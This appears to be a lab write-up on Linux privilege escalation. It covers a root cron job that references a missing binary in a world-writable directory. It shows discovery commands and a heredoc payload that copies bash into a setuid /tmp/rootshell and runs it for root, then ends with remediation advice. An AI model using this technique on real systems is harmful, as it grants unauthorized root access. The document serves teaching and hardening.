V4: Missing Binary

Main Doc

Discovery

cat /etc/cron.d/lab-agent        # */5 * * * * root /opt/lab/bin/agent
*/5 * * * * root /opt/lab/bin/agent

ls -la /opt/lab/bin/agent        # No such file or directory
ls: cannot access '/opt/lab/bin/agent': No such file or directory

ls -ld /opt/lab/bin              # drwxrwxrwx → I can CREATE it
drwxrwxrwx 2 root root 4096 Mar  5 09:12 /opt/lab/bin

---

Command	Output
cat /etc/cron.d/lab-agent	shows root's schedule pointing at a binary name.
ls -la /opt/lab/bin/agent	asks about the file itself. The error No such file or directory is the finding: root will run a name that is not there
ls -ld /opt/lab/bin	the -d flag shows the directory's own attributes instead of listing what is inside it. drwxrwxrwx = you may create files here.

• Attackers watch for cron (and systemd) references to nonexistent files in writable locations - the dangling reference is the invitation.

Exploitation

Step 1: Create the file the scheduler expects.

• The heredoc (cat > file <<'EOF') creates /opt/lab/bin/agent and fills it with the payload; the quotes in 'EOF' keep the shell from touching $ signs inside.

cat > /opt/lab/bin/agent <<'EOF'
#!/bin/bash
cp /bin/bash /tmp/rootshell && chmod u+s /tmp/rootshell
EOF
chmod +x /opt/lab/bin/agent

---

• The payload lines are the same single-shot pair as V1: cp /bin/bash /tmp/rootshell and chmod u+s /tmp/rootshell.

Command	Output
chmod +x /opt/lab/bin/agent	unlike V3, this file is brand new and starts with no execute bit. +x adds execute permission, and cron refuses to run a non-executable file.

Step 2: Wait ≤5 minutes for the */5 cron schedule, then:

/tmp/rootshell -p    # bash keeps euid 0 with -p
id                   # uid=0(root)
uid=0(root) gid=0(root) groups=0(root)

Proof

• id prints uid=0(root); the fire-and-forget variant id > /tmp/pwned_4 produces a root-owned /tmp/pwned_4 you can confirm with ls -la /tmp/pwned_4.

Remediation

• Every binary referenced by cron must live in a root-only-writable directory, and monitoring should alert on schedule entries that reference missing files - a dangling reference is a live risk, not a typo.